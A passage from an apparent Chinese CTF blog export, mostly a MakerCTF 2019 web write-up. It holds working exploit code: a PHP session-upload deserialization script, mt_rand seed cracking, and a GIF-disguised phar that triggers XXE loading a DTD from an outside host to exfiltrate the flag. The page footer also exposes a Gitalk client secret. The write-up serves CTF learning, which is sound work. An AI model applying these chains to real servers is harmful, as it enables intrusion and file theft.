class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phpserialize \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e serialize\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehost = \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003emaker_r\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003emaker_e\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003emaker_w\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003emaker_q\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eget_flag\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e get1 = \u003cspan class=\"string\"\u003e\u0026#39;get_flag::flag1\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e protected_get2 = \u003cspan class=\"string\"\u003e\u0026#39;\\\\f1a9\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e q1 = get_flag()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e private_q2 = \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e w1 = maker_q()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e private_w2 = \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e e1 = maker_w()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e private_e2 = \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e r1 = \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e r2 = maker_e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epayload = serialize(maker_r())\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses.get(host + \u003cspan class=\"string\"\u003e\u0026#39;/welcome.php\u0026#39;\u003c/span\u003e, params={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;func\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;extract\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;func_0\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;session_start\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses.post(host + \u003cspan class=\"string\"\u003e\u0026#39;/welcome.php\u0026#39;\u003c/span\u003e, params={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;func\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;extract\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;func_0\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;session_start\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}, files={\u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;b\u0026#39;\u003c/span\u003e}, data={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;PHP_SESSION_UPLOAD_PROGRESS\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;|\u0026#39;\u003c/span\u003e + payload\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 此时session文件中的内容为:https://paste.ubuntu.com/p/QBsH3gyx8q/,挺有趣的\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eret = ses.post(host + \u003cspan class=\"string\"\u003e\u0026#39;/welcome.php\u0026#39;\u003c/span\u003e, params={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;func\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;extract\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;func_0\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;session_start\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}, data={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;serialize_handler\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;php\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;s\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;something\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}).text\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ret)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e根据第一关的答案,我们能拿到第二关的源码,并且知道了第二关flag的位置。在classes.php中我们发现有两个key,其中admin_key没有给出,而出题人提示两个key的生成方式如下:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eSecret\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$maker_key\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$admin_key\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;admin_key = \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;gen_secret();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;maker_key = \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;gen_secret(\u003cspan class=\"number\"\u003e10\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// )l)h3X3Gye\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003egen_secret\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"variable\"\u003e$len\u003c/span\u003e = \u003cspan class=\"number\"\u003e8\u003c/span\u003e\u003c/span\u003e) \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$chars\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^\u0026amp;*()\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$passwd\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$i\u003c/span\u003e = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e \u0026lt; \u003cspan class=\"variable\"\u003e$len\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e++ )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$passwd\u003c/span\u003e .= substr(\u003cspan class=\"variable\"\u003e$chars\u003c/span\u003e, mt_rand(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, strlen(\u003cspan class=\"variable\"\u003e$chars\u003c/span\u003e) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e), \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"variable\"\u003e$passwd\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003emt_rand\u003c/code\u003e随机数生成器非密码学安全\u003cbr/\u003e可以利用工具(比如php_mt_seed)爆破出seed,得到\u003ccode\u003eadmin_key = \u0026#34;!XPiScRy\u0026#34;\u003c/code\u003e\u003cbr/\u003e观察两个key的区别,我们能够发现maker_key只能将已经存在的\u003ccode\u003emaker.gif\u003c/code\u003e移动到\u003ccode\u003e/var/www/data\u003c/code\u003e目录下,且无法获得生成的文件名,而admin_key不仅可以访问/写入任意文件\u003cstrong\u003e内容\u003c/strong\u003e,还能获得生成的文件名\u003cbr/\u003e所以这个文件名有什么用呢?不能直接访问(不在web目录下),而我们能控制的能访问到本地文件的只有那个\u003ccode\u003efile_get_contents\u003c/code\u003e,这时我们就能联想到phar反序列化了\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e有一个需要注意的点是file_get_contents的url第一个字符不能为p,此时我们可以通过套娃套一个stream即可,比如压缩流\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e所以现在要反序列化什么类呢?如果只是要反序列化php自带的类的话那用第一关的反序列化点就行了,没必要再来一个,所以我们的目标缩小到classes中有的类。\u003cbr/\u003e这时我们能发现Move类能够调用任意类的任意函数,参数都没有任何限制,极大地扩展了攻击面。后面就随便搞了。\u003c/p\u003e\u003cp\u003e比如可以利用XXE读flag\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eMove\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$d\u003c/span\u003e = \u0026lt;\u0026lt;\u0026lt;str\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?\u003c/span\u003exml version=\u003cspan class=\"string\"\u003e\u0026#34;1.0\u0026#34;\u003c/span\u003e encoding=\u003cspan class=\"string\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;!DOCTYPE foo [ \u0026lt;!ENTITY % pe SYSTEM \u003cspan class=\"string\"\u003e\u0026#34;https://files.frankli.site/xxe/xxe.dtd\u0026#34;\u003c/span\u003e\u0026gt; %pe; %param1; ]\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;foo\u0026gt;\u0026lt;/foo\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026amp;external;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;n = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$d\u003c/span\u003e, LIBXML_NOENT);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;m = \u003cspan class=\"string\"\u003e\u0026#34;SimpleXMLElement\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;k = \u003cspan class=\"string\"\u003e\u0026#34;!XPiScRy\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Phar(\u003cspan class=\"string\"\u003e\u0026#34;payload.phar.gif\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;startBuffering();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;setStub(\u003cspan class=\"string\"\u003e\u0026#34;GIF89a \u0026lt;?php __HALT_COMPILER();?\u0026gt;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;setMetadata(\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Move());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;addFromString(\u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;b\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;stopBuffering();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eexploit:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e requests\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e base64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"built_in\"\u003eopen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;payload.phar.gif\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;rb\u0026#39;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e f:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e payload = base64.b64encode(f.read()).decode()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eaccess\u003c/span\u003e(\u003cspan class=\"params\"\u003en\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e requests.post(\u003cspan class=\"string\"\u003e\u0026#39;http://localhost/maker.php\u0026#39;\u003c/span\u003e, params={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;who\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;maker\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;do\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;move\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;url\u0026#39;\u003c/span\u003e: n\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }, data={\u003cspan class=\"string\"\u003e\u0026#39;key\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;!XPiScRy\u0026#39;\u003c/span\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eret1 = access(\u003cspan class=\"string\"\u003e\u0026#39;data:text/plain;base64,\u0026#39;\u003c/span\u003e + payload).text\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efilename = \u003cspan class=\"built_in\"\u003e__import__\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;re\u0026#39;\u003c/span\u003e).findall(\u003cspan class=\"string\"\u003e\u0026#39;[a-zA-Z0-9]*.gif\u0026#39;\u003c/span\u003e, ret1)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(access(\u003cspan class=\"string\"\u003e\u0026#39;compress.zlib://phar:///var/www/maker/\u0026#39;\u003c/span\u003e + filename).text)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2019/04/15/Security/Writeup/MakerCTF%202019/"},{"title":"moeCTF2018","time":"2018-08-25T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e既然web组的人多。。那先写web?\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"WEB\"\u003eWEB\u003c/h2\u003e\u003ch4 id=\"Where-is-the-Flag\"\u003eWhere is the Flag?\u003c/h4\u003e\u003cp\u003e看源代码,flag在注释里\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;!DOCTYPE \u003cspan class=\"meta-keyword\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan 